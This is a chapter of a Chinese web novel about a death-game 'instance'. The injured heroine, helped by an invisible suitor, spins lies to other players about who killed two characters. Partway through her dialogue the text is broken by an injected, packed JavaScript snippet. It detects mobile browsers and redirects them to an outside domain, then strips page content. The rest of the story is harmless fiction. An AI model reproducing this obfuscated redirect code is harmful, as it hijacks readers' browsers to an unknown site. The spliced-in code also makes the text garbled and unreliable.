白知之忍痛花费1000积分从摆渡商城兑换了一片治愈药片和一片止痛片,一起塞嘴里嚼嚼咽下去了,连瓶矿泉水也没舍得多换。
“黑心商家。”白知之暗道。治愈剂和止痛剂竟是它们药片形态的三倍,也就是说花三倍的钱买一样的东西,白知之可舍不得,于是只好多忍耐三小时的疼痛。
她双腿哆嗦,扶墙勉强站起,往前走了几步颤颤巍巍的,好似随时就要倒下。适才狠狠摔在地上,可谓是将她的身体骨头全部打断重新组装了一遍,用起来像具新身体。
“有……人吗?”这句话问出来白知之都觉得诡异。
“我一直都在。”是熟悉的男声。
“你可以扶我一下吗?”白知之双腿打颤,支撑不了自己多久了,有免费的劳动力不用就是傻瓜。
声音未到人先行,一只手托住白知之的右手手肘,另一只手扶住她的腰,手掌握拳,没有半点逾矩。
白知之眼珠往右斜瞥,很不对劲。
“绅士”不是一个将结婚看作随口小事的人可以懂的风度,是什么在变化?
“好!”话落,他手掌和手臂同时发力,既帮助白知之稳住重心,也借她往前走的力。
碎裂的骨头和破碎的内脏正在慢慢愈合,疼痛也在慢慢被药效压制,不过效果不是很显著,可对现在白知之来说也算是雪中送炭了。
白知之一瘸一拐地走,面上状作不经意,随口问道:“你今年几岁了?”
“18岁。”声音听着像,可是语气行为看着不像。
“好年纪。”
“方便问一下称呼吗?”白知之没有直接问名字,为对方和自己留一寸余地。
这个问题他思考了两秒才回答:“我的名字是秦不致。”
是在捏造名字还是思考透露真名还是透露代号?
白知之第一时间反驳自己,她认为秦不致没这智商,估计真是忘记自己名字了。
两轮之后,白知之终于问出自己想问的:“扶人的动作谁教你的?”
“刚刚门里面有个大叔教我的,他说女孩子最吃这招了。”
“……”
白知之嘴角的弧度僵住,眉头几不可察地抽动几下,沉默两秒,轻轻吐了口气,说:“所以你做的一切都是想要提高我对你的好感,让我同意和你结婚?”
“嗯!”
“那你刚刚怎么不来帮我?说不定你刚刚帮我拉住那个人我就可能答应你的请求了。”白知之不动声色,在秦不致简单的大脑中埋进一颗种子。
“你们两个都是白知之,我在想万一另一个白知之愿意嫁给我,我就不能帮你了。”秦不致分析得很认真。
“所以,你为什么执意要我和你结婚?”白知之转头看向右侧的空气,她看不见他,可他能够看见她。
“因为……我爱你。”秦不致说话磕磕绊绊,明显是又有人为他出谋划策。
“秦不致,我教你,说爱人的时候不能犹豫,要坚定地说。”白知之垂眸看向脚下的路延伸至无尽的黑暗。这条走廊是否有尽头?
“我爱你!”声音高昂,语气中满是青涩,像个不懂爱强说爱的小毛孩。
“你说爱我,那你知道什么是真正的爱吗?”
“我知道,爱是……”
白知之打断他,说:“不要听别人讲,要你自己讲。”
“我不知道。”情绪明显低落下来。
“那你为什么要和我结婚。”终究还是绕回来。
“父亲说的。”秦不致思考了一两秒回答。
白知之脚步一顿,侧头目光瞥去右方,“还和你父亲有关?”
“嗯……”
白知之一脑门绕成毛线的思绪,这个世界不仅有童工,还流行父子兵齐上阵?
她眼珠一转,左手试探性探向右侧,定准秦不致手的方位,抓了个空。
“我都不知道你长什么模样,怎么和你结婚啊?”
“你不喜欢我的容貌。”秦不致说得很肯定,声音沉闷。
“我没见过你怎么知道我不喜欢。”
“我就是知道。”语气激动,不能再刺激了。
白知之转移话题:“唉,怎么走了这么久还没到尽头啊?”
秦不致情绪低沉,回答不似适才热络,“他们说你走不到的。”
白知之眉尾往上挑,难不成可以通过秦不致得到场外援助?
“额外的我不能说了,你还要往那走吗?”
“哗啦”,是白知之美好未来碎成渣掉一地的声音。
“不要了,你扶我回去吧。记住,不要在他们面前显露你的存在。”
“好的。”秦不致是个省心的工具人,听话,且不问原因。
可是,只要是人,总会有二心。
要是有能够控制人的身体甚至是灵魂的技能就好了。
白知之叹气。
“怎么了?是累了吗?需要我背你吗?”
“又是听哪位前辈讲的?”
“我自己想的。我想试着爱上你,这样你也会爱我,然后我们结婚。”
白知之并没有反驳他的话,驴磨石磨还得在它头顶挂根胡萝卜呢。
或许先前白知之一直在绕圈,现下走了十几米便走出了亮灯的范围,眼睛有些不适应地闭上,回头看,身后同样一片漆黑。
灯,在这个副本尤为重要的要素之一,可以决定生与死,可是她至今也未找到打开关闭它的方法,甚至连光源也没找到。
不着急,按最好的打算,一晚死一个,除掉“吴长风”和秦不致,还有一个牙牙,至少有六天。
再想得美些,熬过第四晚,她的任务完成,副本的一切于她毫无干系了。
不过,今晚找哪个替死鬼呢?
剩下的人可没那么容易上当。
白知之再临出黑暗前最后一秒,低声说:“好了,你想去哪就去哪吧。”也不管秦不致有没有回答,感受到撑扶她的手撤下后,便走了出去。
陈芸见到有人出来,立马起身,发现是白知之后眼神蒙上层灰。
黑暗外只剩下陈芸和商聪林两人,看来“吴长风”的任务纸条的吸引力不小啊。
“芸姐,怎么了吗?”白知之一瘸一拐扶墙靠近陈芸。
陈芸眉心紧皱,主动上前搀扶白知之,“你这是?”
白知之低头,手指紧攥,指甲嵌入掌心,言语间便落了泪,“牙牙本来是想害老大的,没想到误抓了我,老大为了帮我中了牙牙的诡计。她在暗处布置了遥控灯,等老大一来便隔空操控,所以……”
白知之假意抹泪,哽咽顿住,故作坚强继续道:“我趁牙牙不注意,偷袭才得以逃脱,但里面……里面……
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15937033|177264||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”她配合言语,瞳孔猛缩。
陈芸眼眶泛起涟漪,轻轻拍打白知之单薄的脊背,以示安慰,“不着急,慢慢说。”
“里面有个怪物!”白知之呼吸急促,身体发抖,眼神不自觉往身后瞟。
“什么?”陈芸眉头皱成死结,她深深望了黑暗一眼,音调上扬了些,顾及到白知之的感受逐渐放轻。
“它全身都是黑的,没有脸。我当时没看见,被它狠狠绊了一跤。我以为是你们。”她抬眼与陈芸对视,继续道:“我就和它说牙牙的事,没想到它没有搭理我,然后我就听见了牙牙的求救声。”这些话真假掺半,饶是那些人回来也不能反驳她。
现下,她又多了一个罪名要甩出去。
商聪林轻轻瞥了她一眼,没说什么。
谈话间,陈芸默默治好了她的伤。
“芸姐,你的技能实用,如果我有你这个技能就不会发愁买治愈剂的积分了。”
陈芸笑笑,轻拍她的肩膀,“以后你有的积分肯定能换数不尽的治愈剂,何谈如今这点。”
接着,陈芸自然转换话题,“那你的技能是?”
白知之瘪瘪嘴,真情流露:“艺术翻译,超级没用,还不能自保。”
陈芸这边还来不及安慰鼓励几句,三人手机同时传来振动,是额外任务:“天使的爱女被杀,凶手就在七位玩家中间,请你们在明日早饭时检举真凶,检举成功者可获得天使的轻吻,若检举失败,天使会很失望,后果无法想象。”
“爱女?应该说的是牙牙吧。”陈芸看向白知之,任务明确指出凶手在玩家中间,可是她适才明里暗里都在说是怪物杀了牙牙。
白知之心里白眼快翻上天了,可还得装作一朵刚刚受到刺激的小白花,“会不会是第七名玩家?”话落,白知之鬓边的发丝无风自动,是秦不致控告自己的冤情。
她顶着陈芸探究的目光,有理有据地分析下去:“之前老大吴长风的任务纸条就是他搞的鬼,如果他初心是好的,很可能为了我杀了牙牙。”
“可是他为什么要绊你?”商聪林开口了,不知是敌是友。
“他蠢呗。”这回,秦不致偷偷摸摸牵动白知之的衣袖,表达自己的委屈,也不知道是哪位大叔教的。
“你看,他刚开始当着众人的面从吴长风那偷任务纸条给我不就是蠢吗。看起来想帮我,若不是老大善解人意。”话及吴长风,白知之适时落下几滴眼泪,“恐怕……恐怕我就成为他的刀下冤魂了。”
“照你这么说,第七位玩家是个蠢好人,老是好心办成坏事。”
白知之使劲摇头,一副见风使舵,见利忘义的小人模样。
商聪林直起身,一步步逼近还瘫坐在地上抽泣的白知之,他蹲下身,眼神尖锐,“那你说,他会蠢到不知道副本中,禁止玩家自相残杀吗?”
白知之抽泣的声音一顿,下一秒被她用袖子擦拭眼泪的动作掩过去,“都说了他蠢。而且牙牙不也是控制灯间接杀害了吴长风吗?”她抬眼对上商聪林,早已没了先前的恐惧。
“也对。”商聪林貌似说服了自己,而后还为吴长风找了一个理由:“牙牙估摸着不是玩家中的一个,他冲动杀了也无碍。”
白知之的眼神跟着商聪林走。
奇怪,这人适才还咄咄逼人,这会却轻轻放下,难不成他也有不可告人的秘密?